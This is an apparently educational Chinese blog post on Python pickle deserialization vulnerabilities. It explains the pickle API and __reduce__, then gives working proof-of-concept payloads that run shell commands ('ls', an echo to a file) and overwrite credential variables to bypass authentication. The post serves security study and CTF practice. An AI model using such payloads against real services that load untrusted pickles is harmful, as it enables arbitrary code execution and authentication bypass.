pickle反序列化初探

WEB安全基础 no tag March 18, 2021

PICKLE基础

Pickle模块中最常用的函数为：

（1）pickle.dump(obj, file, [,protocol])

   函数的功能：将obj对象序列化存入已经打开的file中。

   参数讲解：
          obj：想要序列化的obj对象。
          file:文件名称。
          protocol：序列化使用的协议。如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

（2）pickle.load(file)

   函数的功能：将file中的对象序列化读出。

   参数讲解：

          file：文件名称。

（3）pickle.dumps(obj[, protocol])

   函数的功能：将obj对象序列化为string形式，而不是存入文件中。

    参数讲解：
          obj：想要序列化的obj对象。
          protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

（4）pickle.loads(string)

   函数的功能：从string中读出序列化前的obj对象。
   参数讲解：
          string：文件名称。

`reduce`

上图的大致解释：当对象被Pickle时(也就是pickle.loads(payload))，会被调用，它的返回值要是一个(callable, ([para1,para2...])[,...]) 的元组

漏洞利用

利用思路

任意代码执行或命令执行
变量覆盖，通过覆盖一些凭证达到绕过身份验证的目的。

pickle EXP

python2

import urllib
import pickle
class test(object):
    def __reduce__(self):
        return (eval,("__import__('os').popen('ls').read()",))
a=test()

payload=pickle.dumps(a)
pickle.loads(payload)
payload=urllib.quote(payload)
print payload

python3

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  # 要执行的命令
        return os.system, (s,)        # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时，如果 pickle.loads(poc)，就会执行命令

变量覆盖

import pickle

key1 = b'321'
key2 = b'123'
class A(object):
    def __reduce__(self):
        return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

关于手写opcode

在CTF中，很多时候需要一次执行多个函数或一次进行多个指令，此时就不能光用 __reduce__ 来解决问题（reduce一次只能执行一个函数，当exec被禁用时，就不能一次执行多条指令了），而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。

https://xz.aliyun.com/t/7436

这篇文章是讲的比较好的。

pickle进阶

关于手搓pickle，pickletools，绕过R指令码等之后再补上。

参考：https://zhuanlan.zhihu.com/p/89132768